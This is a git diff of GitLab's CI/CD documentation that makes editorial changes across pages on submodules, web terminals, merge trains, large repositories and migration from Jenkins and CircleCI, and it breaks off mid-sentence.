a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index c28febd15d7..fb42ed64e78 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -21,7 +21,7 @@ type: reference ## Configuring the `.gitmodules` file -If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project will probably have a file +If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project probably has a file named `.gitmodules`. Let's consider the following example: @@ -44,11 +44,11 @@ for all your local checkouts. The `.gitmodules` would look like: url = ../../group/project.git ``` -The above configuration will instruct Git to automatically deduce the URL that -should be used when cloning sources. Whether you use HTTP(S) or SSH, Git will use -that same channel and it will allow to make all your CI jobs use HTTP(S) -(because GitLab CI/CD only uses HTTP(S) for cloning your sources), and all your local -clones will continue using SSH. +The above configuration instructs Git to automatically deduce the URL that +should be used when cloning sources. Whether you use HTTP(S) or SSH, Git uses +that same channel and it makes all your CI jobs use HTTP(S). +GitLab CI/CD only uses HTTP(S) for cloning your sources, and all your local +clones continue using SSH. For all other submodules not located on the same GitLab server, use the full HTTP(S) protocol URL: @@ -94,7 +94,7 @@ correctly with your CI jobs: whether you have recursive submodules. The rationale to set the `sync` and `update` in `before_script` is because of -the way Git submodules work. On a fresh runner workspace, Git will set the +the way Git submodules work. On a fresh runner workspace, Git sets the submodule URL including the token in `.git/config` (or `.git/modules/<submodule>/config`) based on `.gitmodules` and the current remote URL. On subsequent jobs on the same runner, `.git/config` is cached diff --git a/doc/ci/img/junit_test_report.png b/doc/ci/img/junit_test_report.png Binary files differindex ad098eb457f..a4b98c8b910 100644 --- a/doc/ci/img/junit_test_report.png +++ b/doc/ci/img/junit_test_report.png diff --git a/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png b/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png Binary files differindex 8082d17ae6a..25ce4176d9d 100644 --- a/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png +++ b/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index a131d21039d..1aa86e0b322 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -15,7 +15,7 @@ shell access to the environment where [GitLab Runner](https://docs.gitlab.com/ru is deployed, some [security precautions](../../administration/integration/terminal.md#security) were taken to protect the users. -NOTE: **Note:** +NOTE: [Shared runners on GitLab.com](../runners/README.md#shared-runners) do not provide an interactive web terminal. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/24674) for progress on @@ -31,39 +31,39 @@ Two things need to be configured for the interactive web terminal to work: - If you are using a reverse proxy with your GitLab instance, web terminals need to be [enabled](../../administration/integration/terminal.md#enabling-and-disabling-terminal-support) -NOTE: **Note:** +NOTE: Interactive web terminals are not yet supported by [`gitlab-runner` Helm chart](https://docs.gitlab.com/charts/charts/gitlab/gitlab-runner/index.html), but support [is planned](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/79). ## Debugging a running job -NOTE: **Note:** +NOTE: Not all executors are [supported](https://docs.gitlab.com/runner/executors/#compatibility-chart). -NOTE: **Note:** +NOTE: The `docker` executor does not keep running -after the build script is finished. At that point, the terminal will automatically -disconnect and will not wait for the user to finish. Please follow [this +after the build script is finished. At that point, the terminal automatically +disconnects and does not wait for the user to finish. Please follow [this issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3605) for updates on improving this behavior. Sometimes, when a job is running, things don't go as you would expect, and it would be helpful if one can have a shell to aid debugging. When a job is -running, on the right panel you can see a button `debug` that will open the terminal +running, on the right panel you can see a button `debug` that opens the terminal for the current job.  -When clicked, a new tab will open to the terminal page where you can access +When clicked, a new tab opens to the terminal page where you can access the terminal and type commands like a normal shell.  If you have the terminal open and the job has finished with its tasks, the -terminal will block the job from finishing for the duration configured in +terminal blocks the job from finishing for the duration configured in [`[session_server].session_timeout`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) until you close the terminal window. diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index b24ee66fdba..fa5c8c9a606 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -1,21 +1,21 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "An overview of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD." type: concepts --- # Introduction to CI/CD with GitLab -In this document, we'll present an overview of the concepts of Continuous Integration, +This document presents an overview of the concepts of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD. -TIP: **Tip:** +NOTE: Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) -webcast to learn about continuous methods and how GitLab’s built-in CI can help you simplify and scale software development. +webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development. > For some additional information about GitLab CI/CD: > @@ -90,67 +90,6 @@ application or integration needed. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Introduction to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=397) from a recent GitLab meetup. -### How GitLab CI/CD works - -To use GitLab CI/CD, all you need is an application codebase hosted in a -Git repository, and for your build, test, and deployment -scripts to be specified in a file called [`.gitlab-ci.yml`](../yaml/README.md), -located in the root path of your repository. - -In this file, you can define the scripts you want to run, define include and -cache dependencies, choose commands you want to run in sequence -and those you want to run in parallel, define where you want to -deploy your app, and specify whether you will want to run the scripts automatically -or trigger any of them manually. After you're familiar with -GitLab CI/CD you can add more advanced steps into the configuration file. - -To add scripts to that file, you'll need to organize them in a -sequence that suits your application and are in accordance with -the tests you wish to perform. To visualize the process, imagine -that all the scripts you add to the configuration file are the -same as the commands you run on a terminal on your computer. - -After you've added your `.gitlab-ci.yml` configuration file to your -repository, GitLab will detect it and run your scripts with the -tool called [GitLab Runner](https://docs.gitlab.com/runner/), which -works similarly to your terminal. - -The scripts are grouped into **jobs**, and together they compose -a **pipeline**. A minimalist example of `.gitlab-ci.yml` file -could contain: - -```yaml -before_script: - - apt-get install rubygems ruby-dev -y - -run-test: - script: - - ruby --version -``` - -The `before_script` attribute would install the dependencies -for your app before running anything, and a **job** called -`run-test` would print the Ruby version of the current system. -Both of them compose a **pipeline** triggered at every push -to any branch of the repository. - -GitLab CI/CD not only executes the jobs you've -set but also shows you what's happening during execution, as you -would see in your terminal: - - - -You create the strategy for your app and GitLab runs the pipeline -for you according to what you've defined. Your pipeline status is also -displayed by GitLab: - - - -At the end, if anything goes wrong, you can easily -[roll back](../environments/index.md#retrying-and-rolling-back) all the changes: - - - ### Basic CI/CD workflow Consider the following example for how GitLab CI/CD fits in a @@ -177,7 +116,7 @@ After you're happy with your implementation:  GitLab CI/CD is capable of doing a lot more, but this workflow -exemplifies GitLab's ability to track the entire process, +exemplifies the ability of GitLab to track the entire process, without the need for an external tool to deliver your software. And, most usefully, you can visualize all the steps through the GitLab UI. @@ -191,7 +130,7 @@ lifecycle, as shown in the illustration below.  If you look at the image from the left to the right, -you'll see some of the features available in GitLab +you can see some of the features available in GitLab according to each stage (Verify, Package, Release). 1. **Verify**: @@ -202,18 +141,16 @@ according to each stage (Verify, Package, Release). - Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [Unit tests](../unit_test_reports.md). - Deploy your changes with [Review Apps](../review_apps/index.md) to preview the app changes on every branch. 1. **Package**: - - Store Docker images with [Container Registry](../../user/packages/container_registry/index.md). - - Store NPM packages with [NPM Registry](../../user/packages/npm_registry/index.md). **(PREMIUM)** - - Store Maven artifacts with [Maven Repository](../../user/packages/maven_repository/index.md). **(PREMIUM)** - - Store Conan packages with [Conan Repository](../../user/packages/conan_repository/index.md). **(PREMIUM)** + - Store Docker images with the [Container Registry](../../user/packages/container_registry/index.md). + - Store packages with the [Package Registry](../../user/packages/package_registry/index.md). 1. **Release**: - Continuous Deployment, automatically deploying your app to production. - Continuous Delivery, manually click to deploy your app to production. - Deploy static websites with [GitLab Pages](../../user/project/pages/index.md). - Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature with [Canary Deployments](../../user/project/canary_deployments.md). **(PREMIUM)** - - Deploy your features behind [Feature Flags](../../operations/feature_flags.md). **(PREMIUM)** + - Deploy your features behind [Feature Flags](../../operations/feature_flags.md). - Add release notes to any Git tag with [GitLab Releases](../../user/project/releases/index.md). - - View of the current health and status of each CI environment running on Kubernetes with [Deploy Boards](../../user/project/deploy_boards.md). **(PREMIUM)** + - View of the current health and status of each CI environment running on Kubernetes with [Deploy Boards](../../user/project/deploy_boards.md). - Deploy your application to a production environment in a Kubernetes cluster with [Auto Deploy](../../topics/autodevops/stages.md#auto-deploy). With GitLab CI/CD you can also: @@ -228,23 +165,3 @@ To see all CI/CD features, navigate back to the [CI/CD index](../README.md). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch the video [GitLab CI Live Demo](https://youtu.be/l5705U8s_nQ?t=369) with a deeper overview of GitLab CI/CD. - -### Setting up GitLab CI/CD for the first time - -To get started with GitLab CI/CD, you need to familiarize yourself -with the [`.gitlab-ci.yml`](../yaml/README.md) configuration file -syntax and with its attributes. - -This document [introduces the concepts of GitLab CI/CD in the scope of GitLab Pages](../../user/project/pages/getting_started/pages_from_scratch.md), for deploying static websites. -Although it's meant for users who want to write their own Pages -script from scratch, it also serves as an introduction to the setup process for GitLab CI/CD. -It covers the first general steps of writing a CI/CD configuration -file, so we recommend you read through it to understand GitLab's CI/CD -logic, and learn how to write your own script (or tweak an -existing one) for any application. - -For a deep view of GitLab's CI/CD configuration options, check the -[`.gitlab-ci.yml` full reference](../yaml/README.md). - -For help making your pipelines faster and more efficient, see the -[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md). diff --git a/doc/ci/jenkins/index.md b/doc/ci/jenkins/index.md index 34600dd6540..3f720ef959e 100644 --- a/doc/ci/jenkins/index.md +++ b/doc/ci/jenkins/index.md @@ -3,3 +3,6 @@ redirect_to: '../migration/jenkins.md' --- This document was moved to [another location](../migration/jenkins.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index dc306ac7ecb..c985a5b00ef 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Jobs diff --git a/doc/ci/junit_test_reports.md b/doc/ci/junit_test_reports.md index 449f9bf5fcd..2ae17df0933 100644 --- a/doc/ci/junit_test_reports.md +++ b/doc/ci/junit_test_reports.md @@ -3,3 +3,6 @@ redirect_to: 'unit_test_reports.md' --- This document was moved to [unit_test_reports](unit_test_reports.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index f25ef7c725a..35b4a2de8f8 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -32,7 +32,7 @@ GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git- by default. Ideally, you should always use `GIT_DEPTH` with a small number -like 10. This will instruct GitLab Runner to perform shallow clones. +like 10. This instructs GitLab Runner to perform shallow clones. Shallow clones make Git request only the latest set of changes for a given branch, up to desired number of commits as defined by the `GIT_DEPTH` variable. @@ -152,7 +152,7 @@ concurrent = 4 This `config.toml`: - Uses the `shell` executor, -- Specifies a custom `/builds` directory where all clones will be stored. +- Specifies a custom `/builds` directory where all clones are stored. - Enables the ability to specify `GIT_CLONE_PATH`, - Runs at most 4 jobs at once. @@ -177,7 +177,7 @@ concurrent = 4 This `config.toml`: - Uses the `docker` executor, -- Specifies a custom `/builds` directory on disk where all clones will be stored. +- Specifies a custom `/builds` directory on disk where all clones are stored. We host mount the `/builds` directory to make it reusable between subsequent runs and be allowed to override the cloning strategy. - Doesn't enable the ability to specify `GIT_CLONE_PATH` as it is enabled by default. @@ -187,7 +187,7 @@ This `config.toml`: Once we have the executor configured, we need to fine tune our `.gitlab-ci.yml`. -Our pipeline will be most performant if we use the following `.gitlab-ci.yml`: +Our pipeline is most performant if we use the following `.gitlab-ci.yml`: ```yaml variables: @@ -205,8 +205,8 @@ The above configures a: because we use the same clone path for all forks. Why use `$CI_CONCURRENT_ID`? The main reason is to ensure that worktrees used are not conflicting -between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor, -so as long as we use it to construct the path, it is guaranteed that this directory will not conflict +between projects. The `$CI_CONCURRENT_ID` represents a unique identifier within the given executor. +When we use it to construct the path, this directory does not conflict with other concurrent jobs running. ### Store custom clone options in `config.toml` @@ -220,7 +220,7 @@ In such cases, it might be desirable to keep the `.gitlab-ci.yml` clone path agn a configuration of the runner. We can extend our [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html) -with the following specification that will be used by the runner if `.gitlab-ci.yml` will not override it: +with the following specification that is used by the runner if `.gitlab-ci.yml` does not override it: ```toml concurrent = 4 diff --git a/doc/ci/lint.md b/doc/ci/lint.md index cef71a68d72..ec3c128f076 100644 --- a/doc/ci/lint.md +++ b/doc/ci/lint.md @@ -1,10 +1,11 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- - -# CI Lint +<!-- markdownlint-disable MD044 --> +# Validate .gitlab-ci.yml syntax with the CI Lint tool +<!-- markdownlint-enable MD044 --> If you want to test the validity of your GitLab CI/CD configuration before committing the changes, you can use the CI Lint tool. This tool checks for syntax and logical diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index ac9cda4e46c..220032eeab1 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, index last_update: 2019-07-03 --- @@ -57,7 +57,7 @@ When you use this method, you have to specify `only: - merge_requests` for each example, the pipeline contains a `test` job that is configured to run on merge requests. The `build` and `deploy` jobs don't have the `only: - merge_requests` keyword, -so they will not run on merge requests. +so they don't run on merge requests. ```yaml build: @@ -82,7 +82,7 @@ deploy: #### Excluding certain jobs The behavior of the `only: [merge_requests]` keyword is such that _only_ jobs with -that keyword are run in the context of a merge request; no other jobs will be run. +that keyword are run in the context of a merge request; no other jobs run. However, you can invert this behavior and have all of your jobs run _except_ for one or two. @@ -120,8 +120,8 @@ C: Therefore: -- Since `A` and `B` are getting the `only:` rule to execute in all cases, they will always run. -- Since `C` specifies that it should only run for merge requests, it will not run for any pipeline +- Since `A` and `B` are getting the `only:` rule to execute in all cases, they always run. +- Since `C` specifies that it should only run for merge requests, it doesn't run for any pipeline except a merge request pipeline. This helps you avoid having to add the `only:` rule to all of your jobs to make @@ -188,7 +188,7 @@ can create pipelines in the parent project for merge requests from a forked project. In the merge request, go to the **Pipelines** and click **Run Pipeline** button. -CAUTION: **Caution:** +WARNING: Fork merge requests could contain malicious code that tries to steal secrets in the parent project when the pipeline runs, even before merge. Reviewers must carefully check the changes in the merge request before triggering the pipeline. GitLab shows @@ -209,7 +209,7 @@ The variable names begin with the `CI_MERGE_REQUEST_` prefix. If you are experiencing duplicated pipelines when using `rules`, take a look at the [important differences between `rules` and `only`/`except`](../yaml/README.md#prevent-duplicate-pipelines), -which will help you get your starting configuration correct. +which helps you get your starting configuration correct. If you are seeing two pipelines when using `only/except`, please see the caveats related to using `only/except` above (or, consider moving to `rules`). diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png Binary files differnew file mode 100644 index 00000000000..2584cd4d38d --- /dev/null +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.png diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md index 9c6fbba1337..1b9bade3b76 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference last_update: 2019-07-03 --- @@ -15,12 +15,14 @@ source branch into a target branch. By default, the CI pipeline runs jobs against the source branch. With *pipelines for merged results*, the pipeline runs as if the changes from -the source branch have already been merged into the target branch. +the source branch have already been merged into the target branch. The commit shown for the pipeline does not exist on the source or target branches but represents the combined target and source branches. + + If the pipeline fails due to a problem in the target branch, you can wait until the target is fixed and re-run the pipeline. -This new pipeline will run as if the source is merged with the updated target, and you -will not need to rebase. +This new pipeline runs as if the source is merged with the updated target, and you +don't need to rebase. The pipeline does not automatically run when the target branch changes. Only changes to the source branch trigger a new pipeline. If a long time has passed since the last successful @@ -33,7 +35,7 @@ When the merge request can't be merged, the pipeline runs against the source bra - The merge request is a [**Draft** merge request](../../../user/project/merge_requests/work_in_progress_merge_requests.md). In these cases, the pipeline runs as a [pipeline for merge requests](../index.md) -and is labeled as `detached`. If these cases no longer exist, new pipelines will +and is labeled as `detached`. If these cases no longer exist, new pipelines again run against the merged results. Any user who has developer [permissions](../../../user/permissions.md) can run a @@ -59,7 +61,7 @@ To enable pipelines for merged results for your project: 1. Check **Enable merged results pipelines.**. 1. Click **Save changes**. -CAUTION: **Caution:** +WARNING: If you select the check box but don't configure your CI/CD to use pipelines for merge requests, your merge requests may become stuck in an unresolved state or your pipelines may be dropped. @@ -71,7 +73,7 @@ GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-m a **Start/Add Merge Train button**. Generally, this is a safer option than merging merge requests immediately, because your -merge request will be evaluated with an expected post-merge result before the actual +merge request is evaluated with an expected post-merge result before the actual merge happens. For more information, read the [documentation on Merge Trains](merge_trains/index.md). @@ -84,10 +86,10 @@ GitLab CI/CD can detect the presence of redundant pipelines, and cancels them to conserve CI resources. When a user merges a merge request immediately within an ongoing merge -train, the train will be reconstructed, as it will recreate the expected +train, the train is reconstructed, because it recreates the expected post-merge commit and pipeline. In this case, the merge train may already have pipelines running against the previous expected post-merge commit. -These pipelines are considered redundant and will be automatically +These pipelines are considered redundant and are automatically canceled. ## Troubleshooting diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index d4099cdeafd..0b25b32b2a5 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference last_update: 2019-07-03 --- @@ -39,7 +39,7 @@ To add a merge request to a merge train, you need [permissions](../../../../user Each merge train can run a maximum of **twenty** pipelines in parallel. If more than twenty merge requests are added to the merge train, the merge requests -will be queued until a slot in the merge train is free. There is no limit to the +are queued until a slot in the merge train is free. There is no limit to the number of merge requests that can be queued. ## Merge train example @@ -55,7 +55,7 @@ If the pipeline for `B` fails, it is removed from the train. The pipeline for `C` restarts with the `A` and `C` changes, but without the `B` changes. If `A` then completes successfully, it merges into the target branch, and `C` continues -to run. If more merge requests are added to the train, they will now include the `A` +to run. If more merge requests are added to the train, they now include the `A` changes that are included in the target branch, and the `C` changes that are from the merge request already in the train. @@ -90,7 +90,7 @@ To enable merge trains for your project: In GitLab 13.5 and earlier, there is only one checkbox, named **Enable merge trains and pipelines for merged results**. -CAUTION: **Caution:** +WARNING: If you select the check box but don't configure your CI/CD to use pipelines for merge requests, your merge requests may become stuck in an unresolved state or your pipelines may be dropped. @@ -143,7 +143,7 @@ This is the fastest option to get the change merged into the target branch.  -CAUTION: **Caution:** +WARNING: Each time you merge a merge request immediately, the current merge train is recreated and all pipelines restart. @@ -152,7 +152,7 @@ is recreated and all pipelines restart. ### Merge request dropped from the merge train immediately If a merge request is not mergeable (for example, it's a draft merge request, there is a merge -conflict, etc.), your merge request will be dropped from the merge train automatically. +conflict, etc.), your merge request is dropped from the merge train automatically. In these cases, the reason for dropping the merge request is in the **system notes**. @@ -179,7 +179,7 @@ for more information. A Merge Train pipeline cannot be retried because the merge request is dropped from the merge train upon failure. For this reason, the retry button does not appear next to the pipeline icon. -In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which will then initiate a new pipeline. +In the case of pipeline failure, you should [re-enqueue](#add-a-merge-request-to-a-merge-train) the merge request to the merge train, which then initiates a new pipeline. ### Unable to add to merge train with message "The pipeline for this merge request failed." @@ -195,9 +195,10 @@ you can clear the **Pipelines must succeed** check box and keep **Enable merge trains and pipelines for merged results** (merge trains) enabled. If you want to keep the **Pipelines must succeed** option enabled along with Merge -Trains, you can create a new pipeline for merged results when this error occurs by -going to the **Pipelines** tab and clicking **Run pipeline**. Then click -**Start/Add to merge train when pipeline succeeds**. +Trains, create a new pipeline for merged results when this error occurs: + +1. Go to the **Pipelines** tab and click **Run pipeline**. +1. Click **Start/Add to merge train when pipeline succeeds**. See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135) for more information. diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md index dbc0397bb0b..3966e5e3e89 100644 --- a/doc/ci/metrics_reports.md +++ b/doc/ci/metrics_reports.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -11,7 +11,7 @@ type: reference GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [Unit test reports](unit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change. -You can configure your job to use custom Metrics Reports, and GitLab will display a report on the merge request so that it's easier and faster to identify changes without having to check the entire log. +You can configure your job to use custom Metrics Reports, and GitLab displays a report on the merge request so that it's easier and faster to identify changes without having to check the entire log.  diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 13190c15cca..5d217466f5c 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index, howto --- @@ -200,7 +200,7 @@ deploy_prod: ### Filter job by branch -[Rules](../yaml/README.md#rules) are a mechanism to determine if the job will or will not run for a specific branch. +[Rules](../yaml/README.md#rules) are a mechanism to determine if the job runs for a specific branch. CircleCI example of a job filtered by branch: diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index afec94ca91c..71d5e6eb859 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index, howto --- @@ -33,7 +33,7 @@ For an example of how to convert a Jenkins pipeline into a GitLab CI/CD pipeline or how to use Auto DevOps to test your code automatically, watch the [Migrating from Jenkins to GitLab](https://www.youtube.com/watch?v=RlEVGOpYF5Y) video. -Otherwise, read on for important information that will help you get the ball rolling. Welcome +Otherwise, read on for important information that helps you get the ball rolling. Welcome to GitLab! If you have questions that are not answered here, the [GitLab community forum](https://forum.gitlab.com/) @@ -46,22 +46,22 @@ changes that comes with the move, and successfully managing them. There are a fe things we have found that helps this: - Setting and communicating a clear vision of what your migration goals are helps - your users understand why the effort is worth it. The value will be clear when + your users understand why the effort is worth it. The value is clear when the work is done, but people need to be aware while it's in progress too. - Sponsorship and alignment from the relevant leadership team helps with the point above. - Spending time educating your users on what's different, sharing this document with them, - and so on will help ensure you are successful. + and so on helps ensure you are successful. - Finding ways to sequence or delay parts of the migration can help a lot, but you don't want to leave things in a non-migrated (or partially-migrated) state for too long. To gain all the benefits of GitLab, moving your existing Jenkins setup over - as-is, including any current problems, will not be enough. You need to take advantage + as-is, including any current problems, isn't enough. You need to take advantage of the improvements that GitLab offers, and this requires (eventually) updating your implementation as part of the transition. ## JenkinsFile Wrapper -We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which will allow -you to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process +We are building a [JenkinsFile Wrapper](https://gitlab.com/gitlab-org/jfr-container-builder/) which +you can use to run a complete Jenkins instance inside of a GitLab job, including plugins. This can help ease the process of transition, by letting you delay the migration of less urgent pipelines for a period of time. If you are interested in helping GitLab test the wrapper, join our [public testing issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215675) for instructions and to provide your feedback. @@ -103,8 +103,8 @@ There are some high level differences between the products worth mentioning: - One important difference is that jobs run independently of each other and have a fresh environment in each job. Passing artifacts between jobs is controlled using the [`artifacts`](../yaml/README.md#artifacts) and [`dependencies`](../yaml/README.md#dependencies) - keywords. When finished, the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265) - feature will allow you to more easily persist a common workspace between serial jobs. + keywords. When finished, use the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265) + feature to more easily persist a common workspace between serial jobs. - The `.gitlab-ci.yml` file is checked in to the root of your repository, much like a Jenkinsfile, but is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most analogous to the declarative Jenkinsfile format. @@ -114,7 +114,7 @@ There are some high level differences between the products worth mentioning: - GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using container images to set up your build environment. For example, set up one pipeline that builds your build environment itself and publish that to the container registry. Then, have your pipelines use this instead of each building their - own environment, which will be slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md). + own environment, which is slower and may be less consistent. We have extensive docs on [how to use the Container Registry](../../user/packages/container_registry/index.md). - A central utilities repository can be a great place to put assorted scheduled jobs or other manual jobs that function like utilities. Jenkins installations tend to have a few of these. @@ -129,12 +129,12 @@ agents you were using. There are some important differences in the way runners work in comparison to agents: - Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners). - They will self-select jobs from the scopes you've defined automatically. + They self-select jobs from the scopes you've defined automatically. - You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and associate runners with specific jobs. For example, you can use a tag for jobs that 